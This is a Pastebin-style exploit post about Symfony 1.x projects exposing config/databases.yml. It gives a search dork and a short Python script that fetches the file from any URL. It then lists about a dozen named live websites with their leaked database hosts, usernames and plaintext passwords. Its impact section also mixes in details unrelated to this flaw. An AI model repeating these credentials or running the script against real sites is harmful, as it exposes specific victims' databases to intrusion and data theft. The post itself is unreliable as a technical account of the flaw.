KingSkrupellos

Symphony Project sfDoctrinesfPropel 1.x DB Passw Disclosure

May 22nd, 2019
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.05 KB | None | 0 0
  1. ######################################################################
  2.  
  3. # Exploit Title : Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 10/05/2019
  7. # Vendor Homepage : symfony.com
  8. # Information : symfony-project.org/reference/1_4/en/07-Databases
  9. # Software Versions : 1.x and All Versions
  10. # Tested On : Windows and Linux
  11. # Category : WebApps
  12. # Exploit Risk : Medium
  13. # Google Dorks : class: sfDoctrineDatabase inurl:/config/databases.yml
  14. # Vulnerability Type :
  15. CWE-16 [ Configuration ]
  16. CWE-200 [ Information Exposure ]
  17. CWE-538 [ File and Directory Information Exposure ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. #####################################################################
  23.  
  24. # Impact :
  25. ***********
  26. Symphony Project sfDoctrinePropel 1.x configuration file may potentially disclose
  27. sensitive information to remote attackers.
  28. The username and password of the database may be obtained trough the "application.ini" file.
  29. This is going to have an impact on confidentiality, integrity, and availability.
  30. The configuration file unintentionally stored in /config/databases.yml
  31. HTTP requests consisting of a single character will cause the software to disclose sensitive
  32. configuration information, including the password/database to the administrative web interface.
  33. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  34. This may have some potentially serious consequences as the configuration file
  35. also stores password information in plain text.
  36. This issue occurs because access controls on configuration files are not properly set.
  37. An attacker can exploit this issue to retrieve potentially sensitive information.
  38. Attackers can access config file via URL request. This may aid in further attacks.
  39. The access to the /configs directory should be restricted with an adequate
  40. countermeasure by the use of a .htaccess file.
  41. * The product stores sensitive information in files or directories that are accessible to actors
  42. outside of the intended control sphere.
  43. * An information exposure is the intentional or unintentional disclosure of information to an actor
  44. that is not explicitly authorized to have access to that information.
  45.  
  46. #####################################################################
  47.  
  48. # Database Configuration File Disclosure Exploit :
  49. *******************************************
  50. /config/databases.yml
  51.  
  52. /becados1/config/databases.yml
  53.  
  54. /ganaton/config/databases.yml
  55.  
  56. /listing/config/databases.yml
  57.  
  58. /srp/config/databases.yml
  59.  
  60. /tauri/tauriExpeditions/exped/config/databases.yml
  61.  
  62. /mayotte/config/databases.yml
  63.  
  64. /economicos/config/databases.yml
  65.  
  66. Information :
  67. *************
  68. class: sfDoctrineDatabase
  69. dsn: pgsql:host=[IPADDRESS];dbname=becas
  70. username:
  71. password:
  72.  
  73. class: sfPropelDatabase
  74. param:
  75. phptype: mysql # Database vendor
  76. hostspec:
  77. database:
  78. username:
  79. password:
  80.  
  81. Exploit - Proof of Concept :
  82. **************************
  83. #!/usr/bin/python
  84. import string
  85. import re
  86. from urllib2 import Request, urlopen
  87. disc = "/config/databases.yml"
  88. url = raw_input ("URL: ")
  89. req = Request(url+disc)
  90. rta = urlopen(req)
  91. print "Result"
  92. html = rta.read()
  93. rdo = str(re.findall("resources.*=*", html))
  94. print rdo
  95. exit
  96.  
  97. #####################################################################
  98.  
  99. # Example Vulnerable Sites :
  100. *************************
  101. [+] exploringchile.travel/config/databases.yml
  102.  
  103. all:
  104. doctrine:
  105. class: sfDoctrineDatabase
  106. param:
  107. dsn: mysql:host=127.0.0.1;dbname=exploringchile_dev
  108. username: root
  109. password: alias
  110. attributes:
  111. default_table_charset: utf8
  112. default_table_collate: utf8_unicode_ci
  113.  
  114. prod:
  115. doctrine:
  116. param:
  117. dsn: mysql:host=127.0.0.1;dbname=expchile_db
  118. username: expchile_chl
  119. password: RiFXTazyx8Su
  120. attributes:
  121. default_table_charset: utf8
  122. default_table_collate: utf8_unicode_ci
  123.  
  124. [+] misionsucre.gob.ve/becados1/config/databases.yml
  125.  
  126. class: sfDoctrineDatabase
  127. dsn: pgsql:host=10.70.219.34;dbname=becas
  128. username: proyecto
  129. password: pr0y3c70
  130.  
  131. [+] 190.9.130.77/config/databases.yml
  132.  
  133. all:
  134. propel:
  135. class: sfPropelDatabase
  136. param:
  137. classname: PropelPDO
  138. dsn: mysql:dbname=mampreca;host=localhost
  139. username: mamprecauser
  140. password: mampreca1
  141.  
  142. [+] avonapp.net/ganaton/config/databases.yml
  143.  
  144. dsn: mysql:host=localhost;dbname=avonapp_ganaton
  145. username: avonapp_ganadmin
  146. password: C0ncurs0#?
  147.  
  148. [+] acrasoftware.com/listing/config/databases.yml
  149.  
  150. dsn: 'mysql:host=mysql1001.mochahost.com;dbname=born2win_listifydb'
  151. username: born2win_listify
  152. password: born2win_listify
  153.  
  154. [+] certorig.com/srp/config/databases.yml
  155.  
  156. dev:
  157. propel:
  158. class: sfPropelDatabase
  159. param:
  160. phptype: mysql # Database vendor
  161. hostspec: localhost
  162. database: fed_srp_dev
  163. username: fedexpor_cw
  164. password: ozXV2ix1B2
  165. port: 3306
  166. encoding: utf8 # Default charset for table creation
  167. persistent: false # Use persistent connections
  168. all:
  169. propel:
  170. class: sfPropelDatabase
  171. param:
  172. phptype: mysql # Database vendor
  173. hostspec: localhost
  174. database: certorig_srp
  175. username: certorig_srp
  176. password: ozXV2ix1B2
  177. port: 3306
  178. encoding: utf8 # Default charset for table creation
  179. persistent: false # Use persistent connections
  180.  
  181. [+] superhost.source.com.pl/tauri/tauriExpeditions/exped/config/databases.yml
  182.  
  183. all:
  184. dispatcher:
  185. class: sfDoctrineDatabase
  186. param:
  187. dsn: mysql:host=localhost;dbname=fbDispatcher
  188. username: fbDispatcher
  189. password: dyniaDuza
  190. attributes:
  191. quote_identifier: true
  192. doctrine:
  193. class: sfDoctrineDatabase
  194. param:
  195. dsn: mysql:host=localhost;dbname=fbExpeditions
  196. username: fbExpeditions
  197. password: t578u4rie
  198. attributes:
  199. quote_identifier: true
  200.  
  201. [+] tropikloc.proxis-interactif.com/mayotte/config/databases.yml
  202.  
  203. dsn: mysql:host=localhost;dbname=tropikloc3
  204. username: tropikloc_user
  205. password: dtF3KlyRGsBS
  206.  
  207. [+] mail.p3-privateequity.net/transmon.pgdatahotel.net/config/databases.yml
  208.  
  209. dsn: mysql:dbname=transmon;host=localhost;unix_socket=/tmp/mysql.sock
  210. username: transmon
  211. password: pgtmon
  212.  
  213. [+] uniconidea.com/config/databases.yml
  214.  
  215. all:
  216. doctrine:
  217. class: sfDoctrineDatabase
  218. param:
  219. dsn: 'mysql:host=localhost;dbname=confonline'
  220. username: confonline
  221. password: confonline
  222.  
  223. all:
  224. doctrine:
  225. class: sfDoctrineDatabase
  226. param:
  227. dsn: 'mysql:host=localhost;dbname=uniconid_confonline'
  228. username: uniconid_confonl
  229. password: H7bsPOhQVM2U
  230.  
  231. [+] editorialdelnorte.cl/economicos/config/databases.yml
  232.  
  233. classname: PropelPDO
  234. dsn: mysql:dbname=economicos;host=localhost
  235. username: root
  236. password: mibebe
  237. encoding: utf8
  238. persistent: true
  239. pooling: true
  240.  
  241. [+] mc.mcengineeringsrl.com/siwapp/config/databases.yml
  242.  
  243. all:
  244. doctrine:
  245. class: sfDoctrineDatabase
  246. param:
  247. dsn: 'mysql:host=localhost;dbname=siwapp_db'
  248. username: 'siwapp_user'
  249. password: 'mcengineer'
  250.  
  251. test:
  252. doctrine:
  253. class: sfDoctrineDatabase
  254. param:
  255. dsn: 'mysql:host=localhost;dbname=siwapp_db_test'
  256. username: 'siwapp_user'
  257. password: 'mcengineer'
  258.  
  259. #####################################################################
  260.  
  261. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  262.  
  263. #####################################################################
Advertisement
Add Comment
Please, Sign In to add comment